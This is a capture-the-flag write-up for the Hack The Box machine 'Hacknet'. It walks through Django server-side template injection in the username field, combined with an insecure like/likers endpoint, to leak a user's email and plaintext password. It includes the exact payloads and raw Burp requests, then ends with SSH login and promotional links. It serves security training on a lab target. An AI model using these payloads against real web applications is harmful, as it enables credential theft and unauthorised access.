Hacknet — Hack The Box
Platform: Linux
Host: 10.129.109.173
Difficulty: Medium
Author: NoSec
wanna go deeper? unlock short videos & early root chains by joining backdoor crew
💀 join the backdoor crewThis writeup covers user access only using a Burp Suite workflow (no curl). Chain: SSTI in username ➜ IDOR on likes ➜ leak email & password ➜ SSH.
Recon
nmap -sVC hacknet.htb
- 22/tcp — OpenSSH 9.2p1 (Debian 12)
- 80/tcp — nginx 1.22.1 — Django-based web app “HackNet”
High-level idea
1) The app has an IDOR around the like system:
- GET /like/<POST_ID>
toggles your like.
- GET /likes/<POST_ID>
returns the likers list (with your avatar <img title="...">
).
2) The username field is rendered into that title
attribute without proper sanitization, but with Django template evaluation (Server-Side Template Injection, SSTI).
3) If we change our profile username to a template such as {{ users.0.email }}
and then like the target’s private post (ID 23 on this box), the /likes/23 response will show our own entry with the evaluated value inside the title
, i.e. the victim’s email.
Re-doing the same with {{ users.0.password }}
reveals the plaintext password (on this box).
TL;DR: Change username → like private post → fetch likers → read your
<img title="...">
→ get email & password.
Burp-only steps
0) Log in normally
Open the site, create/login to a regular user so you have a valid session.
1) Change your username to an SSTI payload
In the browser, go to Profile → Edit and set the username to:
- For email:
{{ users.0.email }}
- For password:
{{ users.0.password }}
(do the email first, then repeat with this)
Use Burp Intercept to capture the POST /profile/edit
request and forward it.
You should see a “Profile updated” page afterwards.
2) Like the target private post
Using Burp Repeater, send the following request to toggle the like for the bandit’s private post (ID 23). Keep your valid cookies.
GET /like/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=you-token; sessionid=you-token
Priority: u=0
If you were already liked, sending it twice will re-like you (toggle).
3) Fetch the likers list and read the leak
Immediately in Burp Repeater, request the likers list for the same post:
GET /likes/23 HTTP/1.1
Host: hacknet.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://hacknet.htb/profile/18
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Cookie: csrftoken=you-token; sessionid=you-token
Priority: u=0
The response is HTML containing items like:
<div class="likes-review-item">
<a href="/profile/27">
<img src="/media/profile.png" title="...THIS IS YOUR LEAK...">
</a>
</div>
- Find your own profile ID entry (e.g.,
/profile/27
). - Read the
<img title="...">
value for your entry: - With username
{{ users.0.email }}
→ the email appears here. - After changing username to
{{ users.0.password }}
and repeating the like/likes pair → the plaintext password appears here (on this box).
Note: if the
title
is empty, check that you have liked the post (sendGET /like/23
again if needed) and that you are viewing/likes/23
with the same session. In the list, look for your own profile ID (e.g.,/profile/27
).
Login via SSH
Once you have the email and password revealed from the likers page:
ssh <username>@hacknet.htb
# use the leaked plaintext password
✅ User shell obtained.
Why it works (short)
- SSTI: The app evaluates the profile “username” field as a Django template in the likes widget (it ends up inside an attribute that’s templated server-side).
- IDOR: You can toggle like and read likers for a private post by directly calling
/like/23
and/likes/23
with your session, even if the UI wouldn’t normally show it.
Combining both: your templated username gets rendered where other people’s clients can fetch it, and the “private” post doesn’t block your request sequence.
Troubleshooting
- If your entry doesn’t appear in
/likes/23
, hit/like/23
once or twice (toggle) then refresh/likes/23
. - Always confirm you’re reading your own
<a href="/profile/<YOUR_ID>">
item. Only your<img title="...">
contains the SSTI output. - If you changed the username payload, you must repeat the pair: like ➜ likes.
- If the template doesn’t render, ensure there are spaces exactly as shown (Django trimming can be picky, but here
{{ users.0.email }}
worked verbatim).
Quick notes
- The box returns plaintext password for
{{ users.0.password }}
(no hashing in this view). - No CSRF was required for the two GET endpoints during this flow.
- Everything above was done purely with Burp (Intercept/Repeater).
🔐 Root part is only available in the private Telegram group while the box is active in Season 8. 👉 Join for the full writeup, extra tips and exclusive content: 📡 https://t.me/nosecpwn
☕ invite me for a coffee so i don’t fall asleep writing the next writeup
💻 support nosec